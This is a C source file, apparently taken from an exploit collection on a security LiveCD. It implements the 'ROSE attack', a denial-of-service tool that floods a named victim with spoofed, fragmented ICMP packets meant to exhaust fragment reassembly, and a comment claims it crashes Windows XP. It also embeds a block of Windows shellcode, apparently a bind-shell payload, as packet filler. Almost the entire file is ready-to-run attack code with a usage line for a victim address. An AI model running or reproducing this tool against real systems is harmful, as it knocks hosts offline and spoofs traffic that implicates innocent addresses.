home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / NewDawn2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  235 lines

  1. /***
  2.     ROSE attack (chuck (at) lemure.net)
  3.  
  4.     Discovered by:
  5.     gandalf@digital.net
  6.     
  7.     code modified from large IGMP attack by:
  8.     Kox by Coolio (coolio@k-r4d.com)
  9.  
  10.  
  11.     Sends out first and last ICMP packet echo request.
  12.     Reportedly works for TCP / UDP as well, since this is
  13.     a IP layer attack.
  14.  
  15.     Eats up all available packets for fragmentation reassembly.
  16.  
  17.  
  18. ***/
  19.  
  20. /* just a thousand kills win XP */
  21.  
  22. #define NUM_PACKETS 1000
  23.  
  24.  
  25. #include <stdio.h>
  26. #include <unistd.h>
  27. #include <stdlib.h>
  28. #include <netdb.h>
  29. #include <string.h>
  30. #include <errno.h>
  31. #include <pwd.h>
  32. #include <time.h>
  33. #include <sys/types.h>
  34. #include <sys/socket.h>
  35. #include <sys/utsname.h>
  36. #include <netinet/in.h>
  37. #include <netinet/ip.h>
  38. #include <netinet/ip_icmp.h>
  39.  
  40. #include <netinet/ip_icmp.h>
  41.  
  42. /* Figured I try sending some shell code for my random payload...
  43.    doesn't do anything
  44. */
  45.  
  46. char code[] =
  47. "\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"
  48. "\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"
  49. "\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"
  50. "\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"
  51. "\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
  52. "\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"
  53. "\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"
  54. "\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"
  55. "\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"
  56. "\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"
  57. "\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"
  58. "\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"
  59. "\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"
  60. "\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"
  61. "\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"
  62. "\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"
  63. "\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"
  64. "\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"
  65. "\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"
  66. "\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"
  67. "\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"
  68. "\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"
  69. "\x5b\xc2\x08\x00";
  70.  
  71. void usage(char *arg)
  72. {
  73.         printf("Rose attack\n");
  74.         printf("Usage: %s <victim> [source]\n", arg);
  75.     printf("If source not specified, will send out from random ip's\n");
  76.         exit(1);
  77. }
  78.  
  79.  
  80. unsigned int randip()
  81. {
  82.         struct hostent *he;
  83.         struct sockaddr_in sin;
  84.         char *buf = (char *)calloc(1, sizeof(char) * 16);
  85.     
  86.         sprintf(buf, "%d.%d.%d.%d",
  87.                 (random()%191)+23,
  88.                 (random()%253)+1,
  89.                 (random()%253)+1,
  90.                 (random()%253)+1); 
  91.     
  92.     
  93.     
  94.         return inet_addr(buf);
  95.         
  96. }
  97.  
  98. unsigned short in_cksum(unsigned short *buh, int len)
  99. {
  100.         register long sum = 0;
  101.         unsigned short oddbyte;
  102.         register unsigned short answer;
  103.  
  104.         while(len > 1) {
  105.                 sum += *buh++;
  106.                 len -= 2;
  107.         }
  108.  
  109.         if(len == 1) {
  110.                 oddbyte = 0;
  111.                 *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
  112.                 sum += oddbyte;
  113.         }
  114.  
  115.         sum = (sum >> 16) + (sum & 0xFFFF);
  116.         sum += (sum >> 16);
  117.         answer = ~sum;
  118.         return answer;
  119. }
  120.  
  121. int rose(struct sockaddr_in *victim, unsigned long src)
  122. {
  123.         int SMALLICMP = 1000;
  124.         unsigned char *pkt;
  125.         struct iphdr *ip;
  126.         struct igmphdr *igmp;
  127.     struct icmphdr *icmp_pkt;
  128.         struct utsname *un;
  129.         struct passwd *p;
  130.  
  131.         int i, s,j;
  132.         int id = (random() % 40000) + 500;
  133.  
  134.         pkt = (unsigned char *)calloc(1, SMALLICMP);
  135.         ip = (struct iphdr *)pkt;
  136.      icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
  137.         ip->version = 4;
  138.         ip->ihl = (sizeof *ip) / 4;
  139.         ip->ttl = 255;
  140.         ip->tot_len = htons(SMALLICMP);
  141.         ip->protocol = 1;
  142.         ip->id = htons(id);
  143.         ip->frag_off = htons(IP_MF);
  144.         ip->saddr = src;
  145.         ip->daddr = victim->sin_addr.s_addr;
  146.         ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
  147.  
  148.     icmp_pkt->type = ICMP_ECHO;
  149.     icmp_pkt->code = 0;
  150.     icmp_pkt->checksum = 1000;
  151.     icmp_pkt->un.echo.id = random() % 255;
  152.     icmp_pkt->un.echo.sequence = random() % 255;
  153.     
  154.         for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
  155.             i < SMALLICMP; i++){
  156.       //pkt[i] = random() % 255;
  157.       pkt[i] = '\x00';
  158.     }
  159.     j=0;
  160.     for (i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500;
  161.          i < sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 + 356; 
  162.          i++){
  163.       pkt[i] = code[j];
  164.       j++;
  165.     }
  166.         if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  167.                 perror("error: socket()");
  168.                 return 1;
  169.         }
  170.  
  171.         if(sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim,
  172.            sizeof(struct sockaddr_in)) == -1) { 
  173.                 perror("error: sendto()");
  174.                 return 1;
  175.         }
  176.  
  177.     /* big frag at end... */
  178.  
  179.     ip->frag_off = htons(8100);
  180.     //ip->frag_off = htons(8100 | IP_MF);
  181.     sendto(s, pkt, SMALLICMP, 0, (struct sockaddr *)victim, 
  182.            sizeof(struct sockaddr_in));
  183.     
  184.         free(pkt);
  185.         close(s);
  186.     usleep(1000);
  187.         return 0;
  188. }
  189.  
  190. int main(int argc, char *argv[])
  191. {
  192.         struct sockaddr_in victim;
  193.         struct hostent *he;
  194.     unsigned long source;
  195.         int i;
  196.  
  197.         srandom(time(NULL));
  198.  
  199.         if(argc < 2)
  200.                 usage(argv[0]);
  201.  
  202.         if((he = gethostbyname(argv[1])) == NULL) {
  203.                 herror(argv[1]);
  204.                 exit(1);
  205.         }
  206.     
  207.     if (argc > 2){
  208.       source = inet_addr(argv[2]);
  209.     }
  210.     else {
  211.       source = randip();
  212.     }
  213.     
  214.         memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
  215.         victim.sin_port = htons(0);
  216.         victim.sin_family = PF_INET;
  217.  
  218.         printf("Sending ICMP fragments:  ");
  219.         fflush(stdout);
  220.         for(i = 0; i < NUM_PACKETS; i++)
  221.       {
  222.                 rose(&victim, source);
  223.         if (argc < 3){
  224.           source = randip();
  225.         }
  226.                 printf("%d\n", i);
  227.                 fflush(stdout);
  228.       }
  229.         printf("\nDONE\n");
  230.         fflush(stdout);
  231. }
  232.  
  233.  
  234.  
  235.